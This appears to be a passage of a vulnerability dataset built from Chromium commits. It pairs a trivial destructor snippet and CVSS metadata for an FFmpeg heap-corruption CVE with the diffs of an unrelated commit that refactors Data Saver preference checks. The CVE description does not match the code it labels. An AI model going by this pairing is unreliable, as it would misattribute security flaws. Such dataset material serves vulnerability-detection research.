Relax this restriction for apps that use <webview>. See\n- // https://crbug.com/652077.\n- bool has_webview_permission =\n- target_extension->permissions_data()->HasAPIPermission(\n- APIPermission::kWebView);\n- if (!has_webview_permission)\n- return content::NavigationThrottle::CANCEL;\n+ // Block all navigations to blob: or filesystem: URLs with extension\n+ // origin from non-extension processes. See https://crbug.com/645028 and\n+ // https://crbug.com/836858.\n+ bool current_frame_is_extension_process =\n+ !!registry->enabled_extensions().GetExtensionOrAppByURL(\n+ navigation_handle()->GetStartingSiteInstance()->GetSiteURL());\n+\n+ if (!url_has_extension_scheme && !current_frame_is_extension_process) {\n+ // Relax this restriction for navigations that will result in downloads.\n+ // See https://crbug.com/714373.\n+ if (target_origin.scheme() == kExtensionScheme &&\n+ navigation_handle()->GetSuggestedFilename().has_value()) {\n+ return content::NavigationThrottle::PROCEED;\n }\n \n+ // Relax this restriction for apps that use <webview>. See\n+ // https://crbug.com/652077.\n+ bool has_webview_permission =\n+ target_extension->permissions_data()->HasAPIPermission(\n+ APIPermission::kWebView);\n+ if (!has_webview_permission)\n+ return content::NavigationThrottle::CANCEL;\n+ }\n+\n+ if (navigation_handle()->IsInMainFrame()) {\n guest_view::GuestViewBase* guest =\n guest_view::GuestViewBase::FromWebContents(web_contents);\n if (url_has_extension_scheme && guest) {"}
|
TitleWatcher::~TitleWatcher() {
}
|
TitleWatcher::~TitleWatcher() {
}
|
C
| null | null | null |
@@ -626,6 +626,12 @@ bool IsLastCommittedEntryOfPageType(WebContents* web_contents,
return last_entry->GetPageType() == page_type;
}
+void OverrideLastCommittedOrigin(RenderFrameHost* render_frame_host,
+ const url::Origin& origin) {
+ static_cast<RenderFrameHostImpl*>(render_frame_host)
+ ->SetLastCommittedOriginForTesting(origin);
+}
+
void CrashTab(WebContents* web_contents) {
RenderProcessHost* rph = web_contents->GetMainFrame()->GetProcess();
RenderProcessHostWatcher watcher(
|
Chrome
|
7614790c80996d32a28218f4d1605b0908e9ddf6
|
b9b0b6c2f15330983573371f7c3d10185d5e5617
| 0
|
TitleWatcher::~TitleWatcher() {
}
|
155,351
| null |
Remote
|
Not required
|
Partial
|
CVE-2016-5199
|
https://www.cvedetails.com/cve/CVE-2016-5199/
|
CWE-119
|
Medium
|
Partial
|
Partial
| null |
2017-01-19
| 6.8
|
An off by one error resulting in an allocation of zero size in FFmpeg in Google Chrome prior to 54.0.2840.98 for Mac, and 54.0.2840.99 for Windows, and 54.0.2840.100 for Linux, and 55.0.2883.84 for Android allowed a remote attacker to potentially exploit heap corruption via a crafted video file.
|
2018-01-04
|
Overflow
| 0
|
https://github.com/chromium/chromium/commit/c995d4fe5e96f4d6d4a88b7867279b08e72d2579
|
c995d4fe5e96f4d6d4a88b7867279b08e72d2579
|
Move IsDataSaverEnabledByUser to be a static method and use it
This method now officially becomes the source of truth that
everything in the code base eventually calls into to determine whether
or not DataSaver is enabled.
Bug: 934399
Change-Id: Iae837b710ace8cc3101188f79d02cbc2d4f0fd93
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1537242
Reviewed-by: Joshua Pawlicki <waffles@chromium.org>
Reviewed-by: Tarun Bansal <tbansal@chromium.org>
Commit-Queue: Robert Ogden <robertogden@chromium.org>
Cr-Commit-Position: refs/heads/master@{#643948}
| 0
|
chrome/browser/chrome_content_browser_client.cc
|
{"sha": "2f0c54b8797f5ca2ed76f1d4ad07fd30bca34417", "filename": "chrome/browser/chrome_content_browser_client.cc", "status": "modified", "additions": 3, "deletions": 6, "changes": 9, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/chrome_content_browser_client.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/chrome_content_browser_client.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/chrome_content_browser_client.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -2282,12 +2282,9 @@ const gfx::ImageSkia* ChromeContentBrowserClient::GetDefaultFavicon() {\n \n bool ChromeContentBrowserClient::IsDataSaverEnabled(\n content::BrowserContext* browser_context) {\n- data_reduction_proxy::DataReductionProxySettings*\n- data_reduction_proxy_settings =\n- DataReductionProxyChromeSettingsFactory::GetForBrowserContext(\n- browser_context);\n- return data_reduction_proxy_settings &&\n- data_reduction_proxy_settings->IsDataSaverEnabledByUser();\n+ Profile* profile = Profile::FromBrowserContext(browser_context);\n+ return profile && data_reduction_proxy::DataReductionProxySettings::\n+ IsDataSaverEnabledByUser(profile->GetPrefs());\n }\n \n void ChromeContentBrowserClient::UpdateRendererPreferencesForWorker("}<_**next**_>{"sha": "9c13b22bbfb947cc3f9000109c2b7c17e6ae16f8", "filename": "chrome/browser/component_updater/optimization_hints_component_installer.cc", "status": "modified", "additions": 4, "deletions": 8, "changes": 12, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/component_updater/optimization_hints_component_installer.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/component_updater/optimization_hints_component_installer.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/component_updater/optimization_hints_component_installer.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -13,8 +13,7 @@\n #include \"base/version.h\"\n #include \"chrome/browser/browser_process.h\"\n #include \"components/component_updater/component_updater_paths.h\"\n-#include \"components/data_reduction_proxy/core/common/data_reduction_proxy_pref_names.h\"\n-#include \"components/data_reduction_proxy/core/common/data_reduction_proxy_switches.h\"\n+#include \"components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.h\"\n #include \"components/optimization_guide/optimization_guide_constants.h\"\n #include \"components/optimization_guide/optimization_guide_service.h\"\n #include \"components/prefs/pref_service.h\"\n@@ -142,13 +141,10 @@ void RegisterOptimizationHintsComponent(ComponentUpdateService* cus,\n return;\n }\n \n- bool data_saver_enabled =\n- base::CommandLine::ForCurrentProcess()->HasSwitch(\n- data_reduction_proxy::switches::kEnableDataReductionProxy) ||\n- (profile_prefs && profile_prefs->GetBoolean(\n- data_reduction_proxy::prefs::kDataSaverEnabled));\n- if (!data_saver_enabled)\n+ if (!data_reduction_proxy::DataReductionProxySettings::\n+ IsDataSaverEnabledByUser(profile_prefs)) {\n return;\n+ }\n auto installer = base::MakeRefCounted<ComponentInstaller>(\n std::make_unique<OptimizationHintsComponentInstallerPolicy>());\n installer->Register(cus, base::OnceClosure());"}<_**next**_>{"sha": "5cc09d76e262ba7fcc6b401a3830dda98a801371", "filename": "chrome/browser/component_updater/optimization_hints_component_installer_unittest.cc", "status": "modified", "additions": 20, "deletions": 10, "changes": 30, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/component_updater/optimization_hints_component_installer_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/component_updater/optimization_hints_component_installer_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/component_updater/optimization_hints_component_installer_unittest.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -17,6 +17,7 @@\n #include \"chrome/common/pref_names.h\"\n #include \"chrome/test/base/testing_browser_process.h\"\n #include \"components/component_updater/mock_component_updater_service.h\"\n+#include \"components/data_reduction_proxy/core/browser/data_reduction_proxy_test_utils.h\"\n #include \"components/data_reduction_proxy/core/common/data_reduction_proxy_pref_names.h\"\n #include \"components/optimization_guide/optimization_guide_constants.h\"\n #include \"components/optimization_guide/optimization_guide_service.h\"\n@@ -82,15 +83,19 @@ class OptimizationHintsComponentInstallerTest : public PlatformTest {\n base::ThreadTaskRunnerHandle::Get());\n optimization_guide_service_ = optimization_guide_service.get();\n \n- pref_service_ = std::make_unique<TestingPrefServiceSimple>();\n-\n TestingBrowserProcess::GetGlobal()->SetOptimizationGuideService(\n std::move(optimization_guide_service));\n policy_ = std::make_unique<OptimizationHintsComponentInstallerPolicy>();\n+\n+ drp_test_context_ =\n+ data_reduction_proxy::DataReductionProxyTestContext::Builder()\n+ .WithMockConfig()\n+ .Build();\n }\n \n void TearDown() override {\n TestingBrowserProcess::GetGlobal()->SetOptimizationGuideService(nullptr);\n+ drp_test_context_->DestroySettings();\n PlatformTest::TearDown();\n }\n \n@@ -102,12 +107,18 @@ class OptimizationHintsComponentInstallerTest : public PlatformTest {\n return component_install_dir_.GetPath();\n }\n \n- TestingPrefServiceSimple* profile_prefs() { return pref_service_.get(); }\n+ TestingPrefServiceSimple* profile_prefs() {\n+ return drp_test_context_->pref_service();\n+ }\n \n base::Version ruleset_format_version() {\n return policy_->ruleset_format_version_;\n }\n \n+ void SetDataSaverEnabled(bool enabled) {\n+ drp_test_context_->SetDataReductionProxyEnabled(enabled);\n+ }\n+\n void CreateTestOptimizationHints(const std::string& hints_content) {\n base::FilePath hints_path = component_install_dir().Append(\n optimization_guide::kUnindexedHintsFileName);\n@@ -145,6 +156,9 @@ class OptimizationHintsComponentInstallerTest : public PlatformTest {\n \n std::unique_ptr<OptimizationHintsComponentInstallerPolicy> policy_;\n \n+ std::unique_ptr<data_reduction_proxy::DataReductionProxyTestContext>\n+ drp_test_context_;\n+\n TestOptimizationGuideService* optimization_guide_service_ = nullptr;\n \n DISALLOW_COPY_AND_ASSIGN(OptimizationHintsComponentInstallerTest);\n@@ -165,13 +179,11 @@ TEST_F(OptimizationHintsComponentInstallerTest,\n ComponentRegistrationWhenFeatureEnabledButDataSaverDisabled) {\n base::test::ScopedFeatureList scoped_list;\n scoped_list.InitAndEnableFeature(previews::features::kOptimizationHints);\n- TestingPrefServiceSimple* prefs = profile_prefs();\n- prefs->registry()->RegisterBooleanPref(\n- data_reduction_proxy::prefs::kDataSaverEnabled, false);\n+ SetDataSaverEnabled(false);\n std::unique_ptr<OptimizationHintsMockComponentUpdateService> cus(\n new OptimizationHintsMockComponentUpdateService());\n EXPECT_CALL(*cus, RegisterComponent(testing::_)).Times(0);\n- RegisterOptimizationHintsComponent(cus.get(), prefs);\n+ RegisterOptimizationHintsComponent(cus.get(), profile_prefs());\n RunUntilIdle();\n }\n \n@@ -190,9 +202,7 @@ TEST_F(OptimizationHintsComponentInstallerTest,\n ComponentRegistrationWhenFeatureEnabledAndDataSaverEnabled) {\n base::test::ScopedFeatureList scoped_list;\n scoped_list.InitAndEnableFeature(previews::features::kOptimizationHints);\n- TestingPrefServiceSimple* prefs = profile_prefs();\n- prefs->registry()->RegisterBooleanPref(\n- data_reduction_proxy::prefs::kDataSaverEnabled, true);\n+ SetDataSaverEnabled(true);\n std::unique_ptr<OptimizationHintsMockComponentUpdateService> cus(\n new OptimizationHintsMockComponentUpdateService());\n EXPECT_CALL(*cus, RegisterComponent(testing::_))"}<_**next**_>{"sha": "d77e4c6dd4b545fe833e8f2411f8e43b9fb33db9", "filename": "chrome/browser/data_reduction_proxy/data_reduction_proxy_chrome_io_data.cc", "status": "modified", "additions": 2, "deletions": 6, "changes": 8, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/data_reduction_proxy/data_reduction_proxy_chrome_io_data.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/chrome/browser/data_reduction_proxy/data_reduction_proxy_chrome_io_data.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/chrome/browser/data_reduction_proxy/data_reduction_proxy_chrome_io_data.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -93,12 +93,8 @@ CreateDataReductionProxyChromeIOData(\n DCHECK(profile);\n DCHECK(profile->GetPrefs());\n \n- data_reduction_proxy::DataReductionProxySettings*\n- data_reduction_proxy_settings =\n- DataReductionProxyChromeSettingsFactory::GetForBrowserContext(\n- profile);\n- bool enabled = data_reduction_proxy_settings &&\n- data_reduction_proxy_settings->IsDataSaverEnabledByUser();\n+ bool enabled = data_reduction_proxy::DataReductionProxySettings::\n+ IsDataSaverEnabledByUser(profile->GetPrefs());\n \n std::unique_ptr<data_reduction_proxy::DataReductionProxyIOData>\n data_reduction_proxy_io_data("}<_**next**_>{"sha": "892b8adf37e97c6594607b714cf5c4fb4e6a7ade", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.cc", "status": "modified", "additions": 23, "deletions": 25, "changes": 48, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -53,22 +53,11 @@ namespace data_reduction_proxy {\n DataReductionProxySettings::DataReductionProxySettings()\n : unreachable_(false),\n deferred_initialization_(false),\n-\n prefs_(nullptr),\n config_(nullptr),\n clock_(base::DefaultClock::GetInstance()) {}\n \n-DataReductionProxySettings::~DataReductionProxySettings() {\n- spdy_proxy_auth_enabled_.Destroy();\n-}\n-\n-void DataReductionProxySettings::InitPrefMembers() {\n- DCHECK(thread_checker_.CalledOnValidThread());\n- spdy_proxy_auth_enabled_.Init(\n- prefs::kDataSaverEnabled, GetOriginalProfilePrefs(),\n- base::Bind(&DataReductionProxySettings::OnProxyEnabledPrefChange,\n- base::Unretained(this)));\n-}\n+DataReductionProxySettings::~DataReductionProxySettings() = default;\n \n void DataReductionProxySettings::InitDataReductionProxySettings(\n PrefService* prefs,\n@@ -83,11 +72,16 @@ void DataReductionProxySettings::InitDataReductionProxySettings(\n config_ = io_data->config();\n data_reduction_proxy_service_ = std::move(data_reduction_proxy_service);\n data_reduction_proxy_service_->AddObserver(this);\n- InitPrefMembers();\n RecordDataReductionInit();\n \n+ registrar_.Init(prefs_);\n+ registrar_.Add(\n+ prefs::kDataSaverEnabled,\n+ base::BindRepeating(&DataReductionProxySettings::OnProxyEnabledPrefChange,\n+ base::Unretained(this)));\n+\n #if defined(OS_ANDROID)\n- if (spdy_proxy_auth_enabled_.GetValue()) {\n+ if (IsDataSaverEnabledByUser(prefs_)) {\n data_reduction_proxy_service_->compression_stats()\n ->SetDataUsageReportingEnabled(true);\n }\n@@ -118,21 +112,20 @@ void DataReductionProxySettings::SetCallbackToRegisterSyntheticFieldTrial(\n RegisterDataReductionProxyFieldTrial();\n }\n \n-bool DataReductionProxySettings::IsDataSaverEnabledByUser() const {\n+// static\n+bool DataReductionProxySettings::IsDataSaverEnabledByUser(PrefService* prefs) {\n if (params::ShouldForceEnableDataReductionProxy())\n return true;\n \n- if (spdy_proxy_auth_enabled_.GetPrefName().empty())\n- return false;\n- return spdy_proxy_auth_enabled_.GetValue();\n+ return prefs && prefs->GetBoolean(prefs::kDataSaverEnabled);\n }\n \n bool DataReductionProxySettings::IsDataReductionProxyEnabled() const {\n if (base::FeatureList::IsEnabled(network::features::kNetworkService) &&\n !params::IsEnabledWithNetworkService()) {\n return false;\n }\n- return IsDataSaverEnabledByUser();\n+ return IsDataSaverEnabledByUser(GetOriginalProfilePrefs());\n }\n \n bool DataReductionProxySettings::CanUseDataReductionProxy(\n@@ -142,14 +135,17 @@ bool DataReductionProxySettings::CanUseDataReductionProxy(\n }\n \n bool DataReductionProxySettings::IsDataReductionProxyManaged() {\n- return spdy_proxy_auth_enabled_.IsManaged();\n+ const PrefService::Preference* pref =\n+ GetOriginalProfilePrefs()->FindPreference(prefs::kDataSaverEnabled);\n+ return pref && pref->IsManaged();\n }\n \n void DataReductionProxySettings::SetDataReductionProxyEnabled(bool enabled) {\n DCHECK(thread_checker_.CalledOnValidThread());\n DCHECK(data_reduction_proxy_service_->compression_stats());\n- if (spdy_proxy_auth_enabled_.GetValue() != enabled) {\n- spdy_proxy_auth_enabled_.SetValue(enabled);\n+ if (GetOriginalProfilePrefs()->GetBoolean(prefs::kDataSaverEnabled) !=\n+ enabled) {\n+ GetOriginalProfilePrefs()->SetBoolean(prefs::kDataSaverEnabled, enabled);\n OnProxyEnabledPrefChange();\n #if defined(OS_ANDROID)\n data_reduction_proxy_service_->compression_stats()\n@@ -190,7 +186,7 @@ bool DataReductionProxySettings::IsDataReductionProxyUnreachable() {\n return unreachable_;\n }\n \n-PrefService* DataReductionProxySettings::GetOriginalProfilePrefs() {\n+PrefService* DataReductionProxySettings::GetOriginalProfilePrefs() const {\n DCHECK(thread_checker_.CalledOnValidThread());\n return prefs_;\n }\n@@ -234,7 +230,9 @@ void DataReductionProxySettings::MaybeActivateDataReductionProxy(\n if (!prefs)\n return;\n \n- if (spdy_proxy_auth_enabled_.GetValue() && at_startup) {\n+ bool enabled = IsDataSaverEnabledByUser(prefs);\n+\n+ if (enabled && at_startup) {\n // Record the number of days since data reduction proxy has been enabled.\n int64_t last_enabled_time =\n prefs->GetInt64(prefs::kDataReductionProxyLastEnabledTime);\n@@ -263,7 +261,7 @@ void DataReductionProxySettings::MaybeActivateDataReductionProxy(\n }\n }\n \n- if (spdy_proxy_auth_enabled_.GetValue() &&\n+ if (enabled &&\n !prefs->GetBoolean(prefs::kDataReductionProxyWasEnabledBefore)) {\n prefs->SetBoolean(prefs::kDataReductionProxyWasEnabledBefore, true);\n ResetDataReductionStatistics();"}<_**next**_>{"sha": "c37695598906d8cb587f33f390881571611dce83", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.h", "status": "modified", "additions": 11, "deletions": 7, "changes": 18, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.h", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings.h?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -19,6 +19,7 @@\n #include \"components/data_reduction_proxy/core/browser/data_reduction_proxy_compression_stats.h\"\n #include \"components/data_reduction_proxy/core/browser/data_reduction_proxy_metrics.h\"\n #include \"components/data_reduction_proxy/core/browser/data_reduction_proxy_service_observer.h\"\n+#include \"components/prefs/pref_change_registrar.h\"\n #include \"components/prefs/pref_member.h\"\n #include \"net/http/http_request_headers.h\"\n #include \"services/network/public/mojom/network_context.mojom.h\"\n@@ -99,11 +100,14 @@ class DataReductionProxySettings : public DataReductionProxyServiceObserver {\n const SyntheticFieldTrialRegistrationCallback&\n on_data_reduction_proxy_enabled);\n \n- // Returns true if DataSaver is enabled by checking only the prefs or forcing\n- // flag. Does not check any holdback experiments.\n- bool IsDataSaverEnabledByUser() const;\n+ // Returns true if the Data Saver feature is enabled by the user. This checks\n+ // only the Data Saver prefs or forcing flag, and does not check any holdback\n+ // experiments. Note that this may be different from the value of\n+ // |IsDataReductionProxyEnabled|.\n+ static bool IsDataSaverEnabledByUser(PrefService* prefs);\n \n- // Returns true if the proxy is enabled.\n+ // Returns true if the Data Reduction HTTP Proxy is enabled. Note that this\n+ // may be different from the value of |IsDataSaverEnabledByUser|.\n bool IsDataReductionProxyEnabled() const;\n \n // Returns true if the proxy can be used for the given url. This method does\n@@ -201,7 +205,7 @@ class DataReductionProxySettings : public DataReductionProxyServiceObserver {\n void InitPrefMembers();\n \n // Virtualized for unit test support.\n- virtual PrefService* GetOriginalProfilePrefs();\n+ virtual PrefService* GetOriginalProfilePrefs() const;\n \n // Metrics method. Subclasses should override if they wish to provide\n // alternatives.\n@@ -296,12 +300,12 @@ class DataReductionProxySettings : public DataReductionProxyServiceObserver {\n // a later session, or never.\n int lo_fi_consecutive_session_disables_;\n \n- BooleanPrefMember spdy_proxy_auth_enabled_;\n-\n std::unique_ptr<DataReductionProxyService> data_reduction_proxy_service_;\n \n PrefService* prefs_;\n \n+ PrefChangeRegistrar registrar_;\n+\n // The caller must ensure that the |config_| outlives this instance.\n DataReductionProxyConfig* config_;\n "}<_**next**_>{"sha": "3dab94ad9764b8bcaa9644e75a32973f3d99707b", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_test_utils.h", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_test_utils.h", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_test_utils.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_test_utils.h?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -32,7 +32,7 @@ class MockDataReductionProxySettings : public C {\n public:\n MockDataReductionProxySettings<C>() : C() {\n }\n- MOCK_METHOD0(GetOriginalProfilePrefs, PrefService*());\n+ MOCK_CONST_METHOD0(GetOriginalProfilePrefs, PrefService*());\n MOCK_METHOD0(GetLocalStatePrefs, PrefService*());\n MOCK_CONST_METHOD1(RecordStartupState, void(ProxyStartupState state));\n };"}<_**next**_>{"sha": "1fdc181a550c218ad3663fcc99e398e085729152", "filename": "components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_unittest.cc", "status": "modified", "additions": 110, "deletions": 74, "changes": 184, "blob_url": "https://github.com/chromium/chromium/blob/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/c995d4fe5e96f4d6d4a88b7867279b08e72d2579/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/components/data_reduction_proxy/core/browser/data_reduction_proxy_settings_unittest.cc?ref=c995d4fe5e96f4d6d4a88b7867279b08e72d2579", "patch": "@@ -54,60 +54,8 @@ class DataReductionProxySettingsTest\n settings_->MaybeActivateDataReductionProxy(false);\n test_context_->RunUntilIdle();\n }\n-\n- void InitPrefMembers() {\n- settings_->InitPrefMembers();\n- }\n };\n \n-TEST_F(DataReductionProxySettingsTest, TestIsProxyEnabledOrManaged) {\n- InitPrefMembers();\n- NetworkPropertiesManager network_properties_manager(\n- base::DefaultClock::GetInstance(), test_context_->pref_service(),\n- test_context_->task_runner());\n- test_context_->config()->SetNetworkPropertiesManagerForTesting(\n- &network_properties_manager);\n-\n- // The proxy is disabled initially.\n- test_context_->config()->UpdateConfigForTesting(false, true, true);\n-\n- EXPECT_FALSE(settings_->IsDataReductionProxyEnabled());\n- EXPECT_FALSE(settings_->IsDataReductionProxyManaged());\n-\n- CheckOnPrefChange(true, true, false);\n- EXPECT_TRUE(settings_->IsDataReductionProxyEnabled());\n- EXPECT_FALSE(settings_->IsDataReductionProxyManaged());\n-\n- CheckOnPrefChange(true, true, true);\n- EXPECT_TRUE(settings_->IsDataReductionProxyEnabled());\n- EXPECT_TRUE(settings_->IsDataReductionProxyManaged());\n-\n- test_context_->RunUntilIdle();\n-}\n-\n-TEST_F(DataReductionProxySettingsTest, TestCanUseDataReductionProxy) {\n- InitPrefMembers();\n- NetworkPropertiesManager network_properties_manager(\n- base::DefaultClock::GetInstance(), test_context_->pref_service(),\n- test_context_->task_runner());\n- test_context_->config()->SetNetworkPropertiesManagerForTesting(\n- &network_properties_manager);\n-\n- // The proxy is disabled initially.\n- test_context_->config()->UpdateConfigForTesting(false, true, true);\n-\n- GURL http_gurl(\"http://url.com/\");\n- EXPECT_FALSE(settings_->CanUseDataReductionProxy(http_gurl));\n-\n- CheckOnPrefChange(true, true, false);\n- EXPECT_TRUE(settings_->CanUseDataReductionProxy(http_gurl));\n-\n- GURL https_gurl(\"https://url.com/\");\n- EXPECT_FALSE(settings_->CanUseDataReductionProxy(https_gurl));\n-\n- test_context_->RunUntilIdle();\n-}\n-\n TEST_F(DataReductionProxySettingsTest, TestResetDataReductionStatistics) {\n int64_t original_content_length;\n int64_t received_content_length;\n@@ -282,6 +230,86 @@ TEST(DataReductionProxySettingsStandaloneTest, TestOnProxyEnabledPrefChange) {\n drp_test_context->SetDataReductionProxyEnabled(true);\n }\n \n+TEST(DataReductionProxySettingsStandaloneTest, TestIsProxyEnabledOrManaged) {\n+ base::test::ScopedTaskEnvironment task_environment{\n+ base::test::ScopedTaskEnvironment::MainThreadType::IO};\n+ std::unique_ptr<DataReductionProxyTestContext> drp_test_context =\n+ DataReductionProxyTestContext::Builder()\n+ .WithMockConfig()\n+ .WithMockDataReductionProxyService()\n+ .SkipSettingsInitialization()\n+ .Build();\n+\n+ NetworkPropertiesManager network_properties_manager(\n+ base::DefaultClock::GetInstance(), drp_test_context->pref_service(),\n+ drp_test_context->task_runner());\n+ drp_test_context->config()->SetNetworkPropertiesManagerForTesting(\n+ &network_properties_manager);\n+ drp_test_context->InitSettings();\n+\n+ DataReductionProxySettings* settings = drp_test_context->settings();\n+\n+ drp_test_context->SetDataReductionProxyEnabled(true);\n+ EXPECT_TRUE(settings->IsDataReductionProxyEnabled());\n+ EXPECT_FALSE(settings->IsDataReductionProxyManaged());\n+\n+ drp_test_context->SetDataReductionProxyEnabled(false);\n+ EXPECT_FALSE(settings->IsDataReductionProxyEnabled());\n+ EXPECT_FALSE(settings->IsDataReductionProxyManaged());\n+\n+ drp_test_context->pref_service()->SetManagedPref(\n+ prefs::kDataSaverEnabled, std::make_unique<base::Value>(false));\n+ EXPECT_FALSE(settings->IsDataReductionProxyEnabled());\n+ EXPECT_TRUE(settings->IsDataReductionProxyManaged());\n+\n+ drp_test_context->pref_service()->SetManagedPref(\n+ prefs::kDataSaverEnabled, std::make_unique<base::Value>(true));\n+ EXPECT_TRUE(settings->IsDataReductionProxyEnabled());\n+ EXPECT_TRUE(settings->IsDataReductionProxyManaged());\n+\n+ drp_test_context->RunUntilIdle();\n+}\n+\n+TEST(DataReductionProxySettingsStandaloneTest, TestCanUseDataReductionProxy) {\n+ base::test::ScopedTaskEnvironment task_environment{\n+ base::test::ScopedTaskEnvironment::MainThreadType::IO};\n+ std::unique_ptr<DataReductionProxyTestContext> drp_test_context =\n+ DataReductionProxyTestContext::Builder()\n+ .WithMockConfig()\n+ .WithMockDataReductionProxyService()\n+ .SkipSettingsInitialization()\n+ .Build();\n+\n+ NetworkPropertiesManager network_properties_manager(\n+ base::DefaultClock::GetInstance(), drp_test_context->pref_service(),\n+ drp_test_context->task_runner());\n+ drp_test_context->config()->SetNetworkPropertiesManagerForTesting(\n+ &network_properties_manager);\n+ drp_test_context->InitSettings();\n+\n+ MockDataReductionProxyService* mock_service =\n+ static_cast<MockDataReductionProxyService*>(\n+ drp_test_context->data_reduction_proxy_service());\n+\n+ DataReductionProxySettings* settings = drp_test_context->settings();\n+ GURL http_gurl(\"http://url.com/\");\n+ GURL https_gurl(\"https://url.com/\");\n+\n+ // The pref is disabled, so correspondingly should be the proxy.\n+ EXPECT_CALL(*mock_service, SetProxyPrefs(false, false));\n+ drp_test_context->SetDataReductionProxyEnabled(false);\n+ EXPECT_FALSE(settings->CanUseDataReductionProxy(http_gurl));\n+ EXPECT_FALSE(settings->CanUseDataReductionProxy(https_gurl));\n+\n+ // The pref is enabled, so correspondingly should be the proxy.\n+ EXPECT_CALL(*mock_service, SetProxyPrefs(true, false));\n+ drp_test_context->SetDataReductionProxyEnabled(true);\n+ EXPECT_TRUE(settings->CanUseDataReductionProxy(http_gurl));\n+ EXPECT_FALSE(settings->CanUseDataReductionProxy(https_gurl));\n+\n+ drp_test_context->RunUntilIdle();\n+}\n+\n TEST_F(DataReductionProxySettingsTest, TestMaybeActivateDataReductionProxy) {\n // Initialize the pref member in |settings_| without the usual callback\n // so it won't trigger MaybeActivateDataReductionProxy when the pref value\n@@ -292,9 +320,6 @@ TEST_F(DataReductionProxySettingsTest, TestMaybeActivateDataReductionProxy) {\n test_context_->config()->SetNetworkPropertiesManagerForTesting(\n &network_properties_manager);\n \n- settings_->spdy_proxy_auth_enabled_.Init(\n- prefs::kDataSaverEnabled, settings_->GetOriginalProfilePrefs());\n-\n // TODO(bengr): Test enabling/disabling while a secure proxy check is\n // outstanding.\n // The proxy is enabled and unrestricted initially.\n@@ -345,12 +370,10 @@ TEST_F(DataReductionProxySettingsTest, TestSetDataReductionProxyEnabled) {\n test_context_->SetDataReductionProxyEnabled(true);\n InitDataReductionProxy(true);\n \n- ExpectSetProxyPrefs(false, false);\n settings_->SetDataReductionProxyEnabled(false);\n test_context_->RunUntilIdle();\n CheckDataReductionProxySyntheticTrial(false);\n \n- ExpectSetProxyPrefs(true, false);\n settings->SetDataReductionProxyEnabled(true);\n CheckDataReductionProxySyntheticTrial(true);\n }\n@@ -359,7 +382,6 @@ TEST_F(DataReductionProxySettingsTest, TestSettingsEnabledStateHistograms) {\n const char kUMAEnabledState[] = \"DataReductionProxy.EnabledState\";\n base::HistogramTester histogram_tester;\n \n- InitPrefMembers();\n settings_->data_reduction_proxy_service_->SetIOData(\n test_context_->io_data()->GetWeakPtr());\n \n@@ -392,7 +414,6 @@ TEST_F(DataReductionProxySettingsTest, TestDaysSinceEnabledWithTestClock) {\n \n base::Time 